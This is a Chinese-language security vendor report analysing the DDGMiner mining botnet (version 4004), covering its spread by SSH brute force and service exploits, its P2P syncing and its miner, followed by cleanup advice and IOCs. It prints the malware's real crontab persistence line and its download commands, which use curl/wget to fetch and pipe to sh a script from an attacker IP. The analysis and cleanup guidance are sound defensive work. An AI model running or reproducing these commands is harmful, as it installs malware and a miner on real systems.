一、背景
腾讯安全专家在为某企业客户进行例行安全巡检过程中,发现客户部署的腾讯御界高级威胁检测系统出现了SSH服务失陷感知信息。在征得客户同意后对客户机器进行远程取证,并结合御界的关键日志进行分析,我们发现这是一起针对SSH服务器弱口令爆破攻击事件,由于发现及时,工程师及时协助客户进行隔离及杀毒,并未造成损失。
腾讯安全御见威胁情报中心对本次攻击事件展开调查,结果发现,这是由大型挖矿僵尸网络DDGMiner发起的攻击事件。DDGMiner是最早于2017年被发现的挖矿僵尸网络,其特点为扫描攻击 SSH服务、Redis 数据库和OrientDB数据库等服务器,并在攻陷的服务器上植入挖矿木马挖掘门罗币获利。从病毒服务器的目录中last modified字段可以看到,本次攻击中样本的更新时间为2019-08-29,目前为4004版本。
对样本进行分析后,发现与此前版本不同的是,样本中新增了针对Nexus Repository Manager漏洞、Supervisord漏洞的利用攻击代码,其攻击流程大致如下:
根据腾讯云鼎实验室监测数据,云上主机遭受来自最新版本DDGMiner的攻击流量从2019.08.29开始出现,在8月30日到达峰值,8月31日到9月1日下降到一定范围之后趋于平稳。大部分攻击流量被有效拦截。而在少量失陷主机中,90%以上遭到SSH弱口令爆破入侵,由此可见DDGMiner的主要传播方式仍然为SSH爆破。腾讯安全提醒企业用户务必使用高强度的SSH、Redis登录密码,避免因设置不当而遭受攻击造成不必要的损失。
二、详细分析
黑客在通过弱口令爆破或漏洞攻击入侵后首先下载Shell脚本i.sh,并将其安装为crontab定时任务每15分钟执行一次。
mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo "*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh" >> /var/spool/cron/root cp -f /var/spool/cron/root /var/spool/cron/crontabs/root
然后检测是否已经存在进程nfosfa4,若存在则杀死进程并删除对应的文件,然后从服务器下载ddgs.$(uname -m)保存为nfosfa4,其中uname –m用来获取系统类型并映射到文件名。最后通过chmod +x给nfosfa4赋予可执行权限,从而完成木马的下载更新。
ps auxf | grep -v grep | grep nfosfa4 || rm -rf nfosfa4 if [ ! -f "nfosfa4" ]; then curl -fsSL -m1800 http://68.183.140.39/static/4004/ddgs.$(uname -m) -o nfosfa4||wget -q -T1800 http://68.183.140.39/static/4004/ddgs.$(uname -m) -O nfosfa4 fi chmod +x nfosfa4
接着查找并杀死多个历史版本的病毒进程,进程名分别为nfosbcb、nfosbcc、nfosbcd、nfosbce、nfosfa0、nfosfa1、nfosfa2。
ps auxf | grep -v grep | grep nfosbcb | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosbcc | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosbcd | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosbce | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosfa0 | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosfa1 | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nfosfa2 | awk '{print $2}' | xargs kill -9
然后启动病毒的最新版本nfosfa4,病毒被存放于以下四个目录之一。
/usr/bin/nfosfa4 /usr/libexec/nfosfa4 /usr/local/bin/nfosfa4 /tmp/nfosfa4
nfosfa4是采用golang语言开发,编译成基于Linux的ELF可执行文件,并且采用UPX加壳保护。golang语言是一款开源编程系统,其优点为简单可靠,支持夸平台编译等。golang语言非常适合服务器编程、分布式系统和数据库相关的网络编程,而DDGMiner恰好符合这些特点。
为了便于分析,我们通过Linux下的UPX脱壳工具进行脱壳,然后使用IDAGolangHelper脚本在IDA中对函数进行重命名。处理之后可以比较清晰的看到样本中漏洞攻击、挖矿、清除挖矿竞品等功能。
在还原后的函数中,可以看到针对SSH爆破、以及针对Redis服务器、Supervisord服务器、Nexus Repository Manager服务器的漏洞利用攻击代码。
样本还使用了hashicorp的go开源库memberlist来构建分布式网络,memberlist是用来管理分布式集群内节点发现、节点失效探测、节点列表的开源程序(github: https://github.com/hashicorp/memberlist)。样本初次到达受害机时,会获取本地节点的地址和状态信息,然后尝试连接到内置的ip列表中的远端节点从而加入远端的集群。
memberlist利用被称为“疫情传播算法”的Gossip协议在僵尸网络集群中同步数据。Gossip 过程由种子节点发起,当一个种子节点有状态需要更新到网络中的其他节点时,它就会随机的选择周围几个节点散播消息,收到消息的节点也会重复该过程,直至最终网络中所有的节点都收到了消息。病毒通过这个过程将某个节点上获得更新的挖矿木马和攻击脚本同步到所有节点。
最后,在挖矿功能部分,通过main_ptr_miner_Download函数下载,main_ptr_miner_Update更新,main_ptr_miner_CheckMd5校验矿机Md5值,以及通过main_ptr_miner_Run启动矿机,并且通过调用main_ptr_miner_killOtherMiner对其他挖矿木马进行清除。
三、安全建议
1、 使用高强度的Redis登陆密码、SSH登陆密码, 必要时添加防火墙规则避免其他非信任来源ip访问。
2、 及时修复Redis、Nexus Repository Manager、Supervisord服务相关的高危漏洞。
3、已中毒的linux服务器可采用以下手动清理方案。
a)、crontab如果如果包含以下内容,进行清理:
"*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh"
b)、/var/spool/cron/root文件,如果包含以下内容,进行清理:
"*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh"
c)、/var/spool/cron/crontabs/root文件,如果包含以下内容,进行清理:
"*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh"
d)、删除以下文件
/usr/bin/nfosfa4 /usr/libexec/nfosfa4 /usr/local/bin/nfosfa4 /tmp/nfosfa4 /usr/bin/betsbcc /usr/libexec/betsbcc /usr/local/bin/betsbcc /tmp/betsbcc /usr/bin/brhjbcc /usr/libexec/brhjbcc /usr/local/bin/brhjbcc /tmp/brhjbcc
e)删除/tmp目录下文件
qW3xT, qW3xT.1, qW3xT.2, qW3xT.3, qW3xT.4, ddgs.3010, ddgs.3011, ddgs.3013, ddgs.3016, 2t3ik, 2t3ik.m, 2t3ik.p, 2t3ik.s, imWBR1, imWBR1.ig, wnTKYg, wnTKYg.noaes, fmt.3018
IOCs
IP
68.183.140.39
URL
hxxp://68.183.140.39:8000/static/4004/ddgs.x86_64
hxxp://68.183.140.39:8000/static/4004/ddgs.i686
hxxp://68.183.140.39:8000/i.sh
MD5
bdfa1c43b3e03880d718609af3b9648f
76309d50ad8412954ca87355274bd8ff
4f0ef26b713d28469d08a8a833339e77
参考链接:
https://blog.netlab.360.com/fast-analyze-ddg-v3021-and-v3022/